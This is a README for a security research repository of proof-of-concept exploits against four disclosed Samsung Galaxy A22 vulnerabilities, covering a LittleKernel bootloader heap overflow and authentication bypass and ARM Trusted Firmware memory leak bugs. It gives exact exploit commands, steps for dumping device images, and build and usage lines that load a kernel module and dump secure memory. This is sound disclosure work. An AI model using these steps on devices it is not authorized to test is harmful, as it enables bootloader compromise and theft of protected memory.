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Samsung Mediatek PoCs

This repository contains the exploits of 4 vulnerabilities

  • SVE-2023-2079/CVE-2024-20832 and SVE-2024-0234/CVE-2024-20865 impacting LittleKernel
  • and SVE-2023-2215/CVE-2024-20820 and CVE-2024-20021 impacting the ARM Trusted Firmware (or ATF).

The PoCs have been designed to work on a Samsung Galaxy A22 (SM-A225F/DSN), with the build number TP1A.220624.014.A225FXXU6DWE3.

The vulnerabilities are described in detail in our talk "Attacking the Samsung Galaxy A* Boot Chain" we presented at OffensiveCon 2024. A whitepaper is also available for a similar talk we gave at SSTIC 2024.

Code Execution in LittleKernel

In piece_montee_reloaded/, are present the PoCs for Little Kernel vulnerabilities

  • SVE-2023-2079/CVE-2024-20832: Heap overflow in bootloader, exploited with heap_overflow.py
  • SVE-2024-0234/CVE-2024-20865: Authentication bypass in bootloader, exploited with this_is_fine.py and odin_sig_bypass.py

To launch the exploit

$ python this_is_fine.py all . --pit pit.bin --gpt gpt.bin --boot boot.bin --up_param up_param.bin -H </path/to/heimdall>

Prerequisites

This exploit uses Heimdall to communicate with Odin.

The attack to work requires the following images from the device:

  • pit.bin

It can be retrieved with Heimdall.

$ heimdall download-pit --output pit.bin
  • gpt.bin

It can be retrieved from a rooted device with dd. Or with MTKClient.

$ python $MTKCLIENT_DIR/mtk r gpt gpt.bin --preloader <path/to/preloader>
  • boot.bin

Must be patched using Magisk to get root privileges.

The original image can be downloaded along with the stock firmware (https://samfw.com/firmware/SM-A225F). Or dumped with MTKClient.

$ python $MTKCLIENT_DIR/mtk r boot boot.img --preloader <path/to/preloader>
  • up_param.bin

Only the original image is required. Can be also retrieved along with the stock firmware or using MTKClient.

$ python $MTKCLIENT_DIR/mtk r up_param up_param.img --preloader <path/to/preloader>

Restore the device

$ python $MTKCLIENT_DIR/mtk w boot,gpt boot.img,gpt.bin --preloader <path/to/preloader>

Memory Leak in ARM Trusted

In demo_atf directory you will find the PoC for ATF

  • SVE-2023-2215/CVE-2024-20820 Read out-of-bound in ATF
  • CVE-2024-20021 Remap physical memory in ATF

We implemented a short C program send_smc.c to exploit these two vulnerabilities. It will simply send the two vulnerable SMCs (0x8200022a for the read out-of-bound, and 0xc2000526 for the mmap) to ATF. The command mmap_data will mmap a memory region (using a physical address and size) to the same virtual address and leak_data will leak the content of a memory region using a virtual address.

Note that the system limits to 8 consecutive mmaps. An extra mmap or an attempt to leak an address not mmapped will surely crash the device.

Prerequisites

Only the Kernel can send SMCs. Which is why we implemented a dummy kernel module in charge of forwarding SMCs received from userland through IOCTLs.

Build

$ aarch64-linux-gnu-gcc -static send_smc.c -o send_smc # Compile the binary
$ adb push send_smc /data/local/tmp # Push it on the device
$ adb push smc_forward.ko.fixed /data/local/tmp # Push the kernel module

Usage

On the device

$ su
# cd /data/local/tmp
# insmod smc_forward.ko.fixed
# ./send_smc mmap_data 0x7c200000 0x600000
# ./send_smc leak_data 0x7c200000 0x600000 > /data/local/tmp/dump.bin

Contributors

  • Maxime Rossi Bellom
  • Raphael Neveu
  • Gabrielle Viala
  • Damiano Melotti